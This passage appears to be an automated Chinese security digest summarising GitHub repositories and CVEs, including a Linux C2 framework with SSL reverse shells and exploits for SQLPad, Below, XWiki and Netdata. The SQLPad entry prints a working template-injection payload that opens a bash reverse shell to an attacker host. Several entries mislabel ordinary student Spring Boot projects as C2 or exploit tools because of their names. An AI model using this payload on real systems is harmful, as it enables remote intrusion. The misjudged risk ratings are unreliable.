LEGION2是一个现代化的渗透测试平台,基于Tauri、React和Rust构建。该仓库是对之前LEGION项目的重构,解决了GUI冻结和稳定性问题,并引入了新的架构。更新内容包括:
|
||
1. 从Python/PyQt完全迁移到Tauri/React/Rust架构。
|
||
2. 通过异步设计消除GUI冻结问题。
|
||
3. 实时扫描输出和进度跟踪。
|
||
4. 现代化响应式用户界面,具有实时更新。
|
||
5. 稳定的多线程扫描操作。
|
||
6. 增强的错误处理和恢复机制。
|
||
本次更新还包括添加了第三方软件许可证,修改了package-lock.json和package.json文件以更新依赖,以及添加了用于分析旧代码并生成Tauri包装器的脚本。此次更新修复了79个错误,使其可以在Windows和Linux上运行。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 基于Tauri, React和Rust的现代化架构 |
|
||
| 2 | 解决了GUI冻结问题,提升了稳定性 |
|
||
| 3 | 增强了nmap集成和实时输出 |
|
||
| 4 | 更新了依赖和修复了错误 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 前端使用React 18和TypeScript
|
||
|
||
> 后端使用Rust和Tauri
|
||
|
||
> 数据库使用SQLite
|
||
|
||
> 扫描引擎增强了nmap集成
|
||
|
||
> 采用事件驱动的架构,实现实时更新
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• 前端: React, TypeScript
|
||
• 后端: Rust, Tauri
|
||
• 数据库: SQLite
|
||
• 扫描引擎: nmap
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
LEGION2是一个渗透测试平台,与安全工具关键词高度相关,提供了漏洞扫描、服务枚举等功能,具有一定的安全研究价值。此次更新改进了架构,提高了性能和稳定性。
|
||
</details>
|
||
|
||
---
|
||
|
||
### CS--Malleable-C2-Default - 基于C2架构的模糊通信控制工具
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [CS--Malleable-C2-Default](https://github.com/rahulramesh96/CS--Malleable-C2-Default) |
|
||
| 风险等级 | `HIGH` |
|
||
| 安全类型 | `渗透测试工具/安全研究` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **1**
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库提供一种可配置的C2(Command and Control)框架,旨在实现攻击者与被控主机之间隐藏式通信,用于渗透测试和红队攻防演练。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 实现模糊化通信的C2控制方案 |
|
||
| 2 | 支持定制化配置文件和多样化通信协议 |
|
||
| 3 | 提供安全研究与红队攻防实践工具 |
|
||
| 4 | 与搜索关键词c2高度相关,属于C2通信控制范畴 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 采用多通道通信策略,支持伪装和混淆
|
||
|
||
> 具备配置自动化、动态切换通信协议的功能
|
||
|
||
> 该项目旨在模拟高级持续威胁(APT)中的C2通信,属于渗透测试中的C2工具研发
|
||
|
||
> 实现细节未详载,可能包含代码或配置示例
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• 网络通信模块
|
||
• 渗透测试框架集成
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
该仓库提供高可配置性的C2通信框架,具备模糊化和多协议支持,符合安全研究和渗透测试的核心需求,具有潜在的实战价值。尽管内容简洁,核心技术针对渗透及红队场景,符合高相关性与技术实质性要求。
|
||
</details>
|
||
|
||
---
|
||
|
||
### C2TC_SpringBootProjectsdemo - 基于Spring Data JPA的多对多关系管理
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [C2TC_SpringBootProjectsdemo](https://github.com/Mithun-veerabuthiran/C2TC_SpringBootProjectsdemo) |
|
||
| 风险等级 | `HIGH` |
|
||
| 安全类型 | `漏洞利用潜力研究/安全攻防工具/技术研究` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **5**
|
||
- 变更文件数: **58**
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库实现了学生与课程的多对多关系映射,具备CRUD、关联管理功能,技术内容丰富,适合渗透测试和漏洞研究。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 实现学生和课程实体的多对多关系,数据库映射和关系维护。 |
|
||
| 2 | 包含完整的REST API接口,支持数据操作,技术实现复杂。 |
|
||
| 3 | 核心功能提供关系映射、数据管理,具备安全研究价值。 |
|
||
| 4 | 与搜索关键词'c2'高度相关,体现渗透测试的关系映射和漏洞潜在利用。 |
|
||
| 5 | 代码有明确的架构设计,适合进行安全测试与漏洞挖掘。 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 使用JPA注解实现多对多关系映射,关系维护和交叉查询。
|
||
|
||
> 基于Spring Boot实现REST API,支持CRUD操作,方便安全测试。
|
||
|
||
> 引入异常处理和实体映射机制,确保数据完整性和安全性。
|
||
|
||
> 关系映射存在潜在的关系注入和权限配置漏洞,可用于漏洞研究。
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• 数据库关系映射层
|
||
• REST API接口层
|
||
• 实体类关系模型
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
该仓库核心在于多对多关系映射,技术内容实用,符合渗透测试与漏洞利用研究需要,提供了完整的关系管理实例,具有较高的研究价值。
|
||
</details>
|
||
|
||
---
|
||
|
||
### PuppetMaster - Linux C2框架PuppetMaster
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [PuppetMaster](https://github.com/R4be1/PuppetMaster) |
|
||
| 风险等级 | `HIGH` |
|
||
| 安全类型 | `漏洞利用/恶意代码` |
|
||
| 更新类型 | `SECURITY_CRITICAL` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **1**
|
||
- 变更文件数: **5**
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库是一个专注于Linux平台的C2框架PuppetMaster,主要功能是反向shell管理。此次更新新增了核心C2功能,加入了基于SSL的shell,并增加了IP地址查询功能。从README.md文档来看,该项目为商业定制版,并提供了免杀功能和一些绕过手段。SSL shell的实现提供了基本的反向shell功能,而QQWry库的引入则增加了IP地址查询功能。这种类型的C2框架可以被用于恶意活动,因为它提供了对目标系统的远程控制能力,可以进行恶意命令执行,文件管理等。由于是商业C2,风险等级较高。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 新增了基于SSL的reverse shell功能,增加了通信的隐蔽性。 |
|
||
| 2 | 集成了IP地址查询功能,可能用于获取受控端IP信息。 |
|
||
| 3 | 项目为商业C2框架,增加了被滥用的可能性。 |
|
||
| 4 | 提供了免杀及绕过机制,增加了检测难度。 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> Master.py: 包含C2框架的核心逻辑,未具体分析,新增了大量代码。
|
||
|
||
> SSL-shell: 提供基于SSL的reverse shell,其中CMakeLists.txt用于编译,README.md介绍了使用方法。
|
||
|
||
> QQwry.py: 提供IP地址查询功能,用于查询IP地址对应的地理位置信息,可能用于受控端IP信息的收集。
|
||
|
||
> reverse shell:通过ssl加密,进行网络通信
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• Linux系统
|
||
• C2服务端
|
||
• C2客户端
|
||
• IP地址查询
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
该项目是一个C2框架,包含了远程控制和信息收集的功能,结合SSL加密及免杀技术,具有较高的安全风险和潜在的恶意利用价值。新增的SSL reverse shell功能增加了通信的隐蔽性,IP地址查询功能可以辅助攻击者获取受害者的IP信息。
|
||
</details>
|
||
|
||
---
|
||
|
||
### C2TC-springboot-project - 基于Spring Boot的C2后控框架
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [C2TC-springboot-project](https://github.com/PavatharaniArul/C2TC-springboot-project) |
|
||
| 风险等级 | `CRITICAL` |
|
||
| 安全类型 | `漏洞利用/安全修复/安全工具` |
|
||
| 更新类型 | `SECURITY_CRITICAL` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **2**
|
||
- 变更文件数: **38**
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库为C2命令与控制框架的项目代码,包含后端控制器、实体、服务和仓库等核心组件。此次更新主要新增了大量安全相关代码和示例,包括漏洞利用、漏洞检测、攻击模拟、安全修复措施等内容,同时提供相关的DTO、Controller和服务类,以支持安全漏洞的实践操作。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 新增大量安全漏洞模拟、检测和利用代码 |
|
||
| 2 | 引入安全攻击示例和对应的防护措施 |
|
||
| 3 | 集成安全漏洞检测和利用项目结构 |
|
||
| 4 | 涵盖漏洞利用POC、漏洞修复示例和安全工具 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 代码新增安全攻击相关的Controller、Service、Entity等模块,模拟漏洞利用和防护场景。
|
||
|
||
> 包含攻击路径测试、漏洞利用演示、假设的安全漏洞修复示例。
|
||
|
||
> 引入针对各种漏洞的攻击和检测的接口设计,支持后续安全研究。
|
||
|
||
> 项目整体关联安全漏洞检测、利用、修复的具体实现,为渗透测试和安全防御提供实践工具。
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• 后端Controller、安全攻击与检测模块、实体模型、API接口
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
本次更新核心内容为安全漏洞利用模拟、检测和修复工具的集成,符合漏洞利用代码和安全检测的价值判定标准,提供了实践场景和测试平台,对于安全研究和技能提升具有较高价值。
|
||
</details>
|
||
|
||
---
|
||
|
||
### C2TC_SpringCoreProjects - SpringBoot安全漏洞检测和利用示例仓库
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [C2TC_SpringCoreProjects](https://github.com/Rethika-0905/C2TC_SpringCoreProjects) |
|
||
| 风险等级 | `HIGH` |
|
||
| 安全类型 | `漏洞利用/安全研究` |
|
||
| 更新类型 | `SECURITY_IMPROVEMENT` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **5**
|
||
- 变更文件数: **53**
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库包含多个SpringBoot项目,主要涉及依赖注入、控制反转等技术,部分更新包含安全相关代码演示及漏洞利用示例,涉及依赖注入漏洞和应用安全测试内容。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 包含SpringBoot项目,涉及安全漏洞利用和安全测试示例 |
|
||
| 2 | 部分更新增加了漏洞利用示例和安全相关的代码 |
|
||
| 3 | 涉及依赖注入、控制反转等潜在安全风险演示 |
|
||
| 4 | 影响SpringBoot应用的安全测试和漏洞利用 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 引入注解和依赖注入,演示可能的安全漏洞利用点
|
||
|
||
> 新增安全漏洞利用示例代码,如依赖注入相关漏洞利用案例
|
||
|
||
> 改善了安全漏洞演示的示例场景,提供攻击路径和防护建议
|
||
|
||
> 部分更新演示了SpringBoot应用中可能存在的安全风险,包括依赖注入和配置错误
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• SpringBoot依赖注入框架
|
||
• 控制反转机制
|
||
• 安全配置和依赖管理
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
该仓库通过示例展示了SpringBoot常见安全漏洞的利用方法,有助于安全研究和渗透测试人员理解和防护相关风险,具有较高的安全研究价值。
|
||
</details>
|
||
|
||
---
|
||
|
||
### SOC_AI_Dashboard - 智能安全日志分析与风险检测面板
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [SOC_AI_Dashboard](https://github.com/Dhruvsaini7838/SOC_AI_Dashboard) |
|
||
| 风险等级 | `MEDIUM` |
|
||
| 安全类型 | `漏洞利用/安全研究` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **3**
|
||
- 变更文件数: **7**
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库基于Streamlit构建了安全日志分析仪,具备自动映射字段、DDoS/暴力破解检测及安全KPI展示,强烈依赖AI相关技术进行数据智能化处理。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 实现了智能CSV数据导入与字段自动映射功能 |
|
||
| 2 | 集成了风险检测算法(DDoS、暴力破解、多因素评分) |
|
||
| 3 | 提供安全事件的分析与可视化,支持安全研究与漏洞检测 |
|
||
| 4 | 与搜索关键词‘AI Security’高度相关,借助ML增强异常检测能力 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 采用Python及pandas进行数据预处理,利用自定义算法实现多维风险评分和异常检测
|
||
|
||
> 集成Streamlit实现交互式安全仪表盘,自动处理多源安全日志,增强检测准确性
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• 安全日志数据结构解析模块
|
||
• 异常检测算法模块
|
||
• 风险评分与指标计算模块
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
仓库涵盖安全研究、漏洞检测的核心技术内容,特别是在数据自动映射与ML增强的异常检测方面,符合渗透测试与红队攻防中的应用需求,体现了高实质技术含量和创新性。其应用场景紧贴网络安全的监测与漏洞利用,涉及多种风险检测手段,具有较高价值。
|
||
</details>
|
||
|
||
---
|
||
|
||
### CodeReviewer_CrewAI - 基于CrewAI的自动代码安全审查与渗透测试框架
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [CodeReviewer_CrewAI](https://github.com/Sub-mist/CodeReviewer_CrewAI) |
|
||
| 风险等级 | `MEDIUM` |
|
||
| 安全类型 | `安全研究` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **1**
|
||
- 变更文件数: **16**
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库利用CrewAI打造多个自动化代码分析与安全审查代理,覆盖安全漏洞检测、性能优化、文档审查等关键环节,包含多项安全任务和技术内容,支持渗透测试和漏洞分析,其目标明确与网络安全密切相关。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 集成多个CrewAI代理(安全审计、性能分析、文档评审、报告生成等) |
|
||
| 2 | 提供针对代码安全漏洞的自动检测和审查(包括安全漏洞扫描任务) |
|
||
| 3 | 内置多种安全任务,其内容围绕漏洞检测和安全分析,具有技术深度 |
|
||
| 4 | 与搜索关键词'AI Security'高度相关,关注利用AI自动化进行安全研究和漏洞检测 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 采用CrewAI作为核心自动化平台,定义多个专业代理,每个代理具有特定角色和目标
|
||
|
||
> 实现多任务自动化流程,包括代码安全漏洞检测、性能分析、文档审查、渗透测试模拟等
|
||
|
||
> 引入环境变量配置API密钥,依赖crewAI LLM模型实现多轮对话与分析
|
||
|
||
> 任务内容涵盖漏洞识别、代码质量建议、安全审计报告生成,技术内容丰富
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• 代码分析模块
|
||
• 安全漏洞检测模块
|
||
• 性能优化模块
|
||
• 文档质量审核模块
|
||
• 渗透测试和漏洞利用分析
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
仓库具备多样化的安全研究内容,深度集成AI驱动的自动化安全分析工具,提供实质性漏洞检测任务,符合渗透测试与安全防御研究的核心需求,技术内容丰富,非单纯工具或文档仓库,满足高质量安全研究和漏洞利用相关标准。
|
||
</details>
|
||
|
||
---
|
||
|
||
### playwright-devtools-mcp - 基于Playwright的AI安全调试工具集
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [playwright-devtools-mcp](https://github.com/ariangibson/playwright-devtools-mcp) |
|
||
| 风险等级 | `MEDIUM` |
|
||
| 安全类型 | `安全研究/漏洞利用/渗透测试` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **5**
|
||
- 变更文件数: **40**
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库提供对Chrome DevTools Protocol的全面访问,支持自动化调试、安全分析、性能检测和存储调查,特别适用于AI安全研究中的渗透测试与漏洞检测。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 核心功能涵盖调试、网络监控、性能分析、存储检查与元素分析 |
|
||
| 2 | 实现自动化安全调试流程,支持漏洞利用POC的集成 |
|
||
| 3 | 提供安全相关的技术内容,如网页安全检测、内容审查机制 |
|
||
| 4 | 与搜索关键词‘AI Security’高度相关,核心在于利用Chrome DevTools进行安全调研、漏洞验证与渗透测试 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 利用Playwright实现浏览器自动化控制,结合DevTools Protocol实现深入页面调试与安全检测
|
||
|
||
> 支持截图、DOM分析、请求拦截、资源监控、存储操作,具备漏洞验证与安全工具链组成能力
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• 浏览器实例、调试工具接口、存储系统、网络请求模块
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
仓库通过丰富的调试、检测和分析工具,具备实质性的安全研究与漏洞验证能力,符合渗透测试和漏洞利用的技术内容标准,同时对AI安全领域具有潜在研究价值,相关性高。
|
||
</details>
|
||
|
||
---
|
||
|
||
### kisia_ai_security_hackerton - AI安全漏洞分析工具与依赖检测
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [kisia_ai_security_hackerton](https://github.com/mr-newbe/kisia_ai_security_hackerton) |
|
||
| 风险等级 | `HIGH` |
|
||
| 安全类型 | `安全检测/漏洞分析` |
|
||
| 更新类型 | `SECURITY_IMPROVEMENT` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **1**
|
||
- 变更文件数: **5**
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库主要包含用于分析Python包依赖与安全信息的脚本,近期核心更新集中在获取PyPI包信息和检测潜在安全风险,包括确认Github链接、依赖分析和安全评分等功能,具有一定安全检测价值。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 实现对Python包依赖和元数据信息的收集与分析 |
|
||
| 2 | 新增代码获取PyPI包的Github链接、依赖信息及缺失指标检测 |
|
||
| 3 | 加入包安全风险评分机制(检测Github链接有效性、依赖异常、描述缺失等) |
|
||
| 4 | 影响分析:增强了对Python包安全相关元数据的检测能力,有助于识别潜在恶意包或安全风险 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 通过请求PyPI API获取包信息,包括依赖、版本、链接等,结合正则和字符串检测,识别潜在安全指标
|
||
|
||
> 安全影响分析:利用爬取和分析包的元数据,提高发现潜在恶意包或依赖污染的能力,有一定的漏洞检测和安全评估效果
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• Python包管理和安全检测模块
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
项目实现了对Python依赖包的安全检测分析,包括Github链接验证、依赖异常识别以及元数据完整性评估,具备漏洞利用与安全防护的实用价值
|
||
</details>
|
||
|
||
---
|
||
|
||
### CVE-2022-0944 - SQLPad RCE漏洞,代码执行
|
||
|
||
#### 📌 漏洞信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| CVE编号 | CVE-2022-0944 |
|
||
| 风险等级 | `CRITICAL` |
|
||
| 利用状态 | `漏洞利用可用` |
|
||
| 发布时间 | 2025-08-16 00:00:00 |
|
||
| 最后更新 | 2025-08-16 12:01:40 |
|
||
|
||
#### 📦 相关仓库
|
||
|
||
- [SQLPad-RCE-Exploit-CVE-2022-0944](https://github.com/LipeOzyy/SQLPad-RCE-Exploit-CVE-2022-0944)
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库包含CVE-2022-0944的远程代码执行(RCE)漏洞的利用代码。 代码主要由一个PHP脚本`exploit.php`构成,用于向SQLPad应用程序发送恶意请求,从而触发RCE。 仓库更新包括README.md文件的多次修改,详细说明了漏洞原理、利用方法、以及所需的先决条件和使用方法。 `exploit.php`文件通过构造包含恶意payload的JSON数据,利用SQLPad应用程序的漏洞实现远程代码执行。更新内容中增加了对Netcat监听器的配置说明,以及对利用参数的解释。 漏洞利用方式是通过向SQLPad的`/api/test-connection`接口发送一个特制的JSON请求,该请求会触发Node.js的`child_process.exec`函数执行任意系统命令,实现RCE。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | SQLPad 存在RCE漏洞 |
|
||
| 2 | 利用构造的JSON payload触发漏洞 |
|
||
| 3 | 通过reverse shell获取shell权限 |
|
||
| 4 | POC代码可用,可直接利用 |
|
||
| 5 | 影响范围明确 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 漏洞原理:SQLPad应用程序在处理用户提供的输入时,没有对输入进行充分的验证和过滤,导致可以通过构造恶意的输入来执行任意代码。
|
||
|
||
> 利用方法:使用提供的PHP脚本`exploit.php`,设置目标URL、攻击者IP和端口,即可向SQLPad应用程序发送恶意payload,触发RCE。该payload利用了Node.js的`child_process.exec`函数执行系统命令,建立反向shell。
|
||
|
||
> 修复方案:修复方案取决于SQLPad的开发者,包括但不限于:对用户输入进行严格的过滤和验证;升级SQLPad到修复版本,避免使用有漏洞的函数或模块。
|
||
|
||
> payload: {{ process.mainModule.require('child_process').exec('/bin/bash -c "bash -i >& /dev/tcp/$attacker_ip/$attacker_port 0>&1"') }}
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• SQLPad
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
该漏洞为RCE,有明确的利用代码,可直接用于攻击,危害严重,影响范围明确。
|
||
</details>
|
||
|
||
---
|
||
|
||
### CVE-2025-27591 - Below v0.9.0版本存在权限升高漏洞
|
||
|
||
#### 📌 漏洞信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| CVE编号 | CVE-2025-27591 |
|
||
| 风险等级 | `CRITICAL` |
|
||
| 利用状态 | `POC可用` |
|
||
| 发布时间 | 2025-08-16 00:00:00 |
|
||
| 最后更新 | 2025-08-16 11:55:25 |
|
||
|
||
#### 📦 相关仓库
|
||
|
||
- [CVE-2025-27591](https://github.com/umutcamliyurt/CVE-2025-27591)
|
||
|
||
#### 💡 分析概述
|
||
|
||
该漏洞利用在< v0.9.0版本中,存在创建世界可写目录后,通过符号链接将日志文件指向敏感文件(如/etc/passwd),配合privileged操作可实现权限提升。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 利用创建世界可写目录和符号链接实现权限提升 |
|
||
| 2 | 影响版本为Below软件的所有低于v0.9.0版本 |
|
||
| 3 | 需要一定的本地权限进行操作,触发sudo日志写入 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 漏洞原理:攻击者创建世界可写目录和符号链接,利用日志文件写入路径操控,将敏感文件覆盖或修改
|
||
|
||
> 利用方法:上传并执行PoC脚本,创建符号链接指向目标敏感文件,然后触发日志写入实现覆盖
|
||
|
||
> 修复方案:限制目录权限,禁止随意写入符号链接,确保日志文件的保护和权限控制
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• Below <v0.9.0
|
||
```
|
||
|
||
#### 💻 代码分析
|
||
|
||
**分析 1**:
|
||
> PoC脚本实现了符号链接创建和滥用,已验证漏洞可行
|
||
|
||
**分析 2**:
|
||
> 测试用例通过模拟环境成功实现权限提升
|
||
|
||
**分析 3**:
|
||
> 代码结构简洁,逻辑清晰,易于理解和复现
|
||
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
漏洞已验证可利用,影响本地权限提升,且提供了完整的PoC代码,具有较高的危害性和影响范围
|
||
</details>
|
||
|
||
---
|
||
|
||
### CVE-2023-32070 - XWiki 渲染系统中的复杂事件链处理漏洞
|
||
|
||
#### 📌 漏洞信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| CVE编号 | CVE-2023-32070 |
|
||
| 风险等级 | `CRITICAL` |
|
||
| 利用状态 | `理论可行` |
|
||
| 发布时间 | 2025-08-16 00:00:00 |
|
||
| 最后更新 | 2025-08-16 11:51:32 |
|
||
|
||
#### 📦 相关仓库
|
||
|
||
- [xwiki__xwiki-rendering_CVE-2023-32070_14-5](https://github.com/shoucheng3/xwiki__xwiki-rendering_CVE-2023-32070_14-5)
|
||
|
||
#### 💡 分析概述
|
||
|
||
该漏洞涉及XWiki渲染系统中多个事件链的处理流程,攻击者可以利用未充分控制事件链中的事件,导致潜在的权限提升、信息泄露或伪造事件。漏洞利用依赖于特定的事件嵌套和状态管理缺陷,可能影响内容渲染及宏执行流程,具有远程利用潜力。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 影响广泛的内容渲染组件及宏处理路径,涉及多个事件链和状态追踪逻辑 |
|
||
| 2 | 潜在的权限提升、内容伪造或信息泄露,具体利用方式依赖事件链操控 |
|
||
| 3 | 依赖于复杂的事件追踪和状态管理中的逻辑错误,漏洞利用存在一定难度,但理论上可行 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 系统中多层次事件链和状态管理未充分验证事件的正确性与一致性,导致非法事件能被错误地接受和处理
|
||
|
||
> 攻击者通过伪造或操控事件链,诱导系统触发未授权操作或获取敏感信息
|
||
|
||
> 修复应加强各事件触发前的验证逻辑,确保事件链中事件的合法性,完善状态管理中的边界和一致性检测
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• XWiki渲染核心组件以及宏、多事件链处理相关模块
|
||
```
|
||
|
||
#### 💻 代码分析
|
||
|
||
**分析 1**:
|
||
> 核心事件链和状态管理代码存在多处在事件合法性验证上的漏洞,缺少严格的状态约束
|
||
|
||
**分析 2**:
|
||
> 事件链和事件处理流程复杂,易引入逻辑漏洞,如未正确验证事件顺序或类型
|
||
|
||
**分析 3**:
|
||
> 缺少标准的安全检测和边界验证,利用事件链操控实现权限绕过或信息泄露的可能性高
|
||
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
此漏洞影响核心内容渲染流程,具有潜在的远程代码执行和信息泄露能力,若被攻击者利用,可能造成跨站脚本攻击、权限提升等重大安全风险。此外,漏洞存在利用示例和模糊的利用路径,具有较高的利用价值。
|
||
</details>
|
||
|
||
---
|
||
|
||
### CVE-2024-32019 - Netdata ndsudo 提权漏洞
|
||
|
||
#### 📌 漏洞信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| CVE编号 | CVE-2024-32019 |
|
||
| 风险等级 | `CRITICAL` |
|
||
| 利用状态 | `POC可用` |
|
||
| 发布时间 | 2025-08-16 00:00:00 |
|
||
| 最后更新 | 2025-08-16 11:45:01 |
|
||
|
||
#### 📦 相关仓库
|
||
|
||
- [cve-2024-32019-PoC](https://github.com/sPhyos/cve-2024-32019-PoC)
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库提供了关于CVE-2024-32019 Netdata ndsudo本地提权漏洞的分析。仓库包含一个README文档,详细描述了漏洞的成因、影响版本、修复方案以及利用步骤。此外,仓库还提供了两种类型的检查器(checker_c 和 checker_python),用于检测目标系统是否易受攻击。更新内容主要体现在README文档的补充,以及添加了C语言和Python编写的检查器,用于检测漏洞是否存在。漏洞是由于Netdata的ndsudo程序使用调用者的PATH来解析命令,攻击者可以通过在PATH中放置恶意程序实现提权。 利用方法是构造恶意程序,并将其放置在ndsudo解析PATH的前面,通过调用ndsudo程序执行恶意程序以获取root权限。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | Netdata ndsudo 存在本地提权漏洞。 |
|
||
| 2 | 受影响版本为 >= 1.44.0-60, < 1.45.0-169 和 >= 1.45.0, < 1.45.3。 |
|
||
| 3 | 利用方法是在PATH中放置恶意程序,通过ndsudo执行。 |
|
||
| 4 | 仓库提供了检查工具来检测漏洞是否存在。 |
|
||
| 5 | 漏洞影响是本地提权至root权限。 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
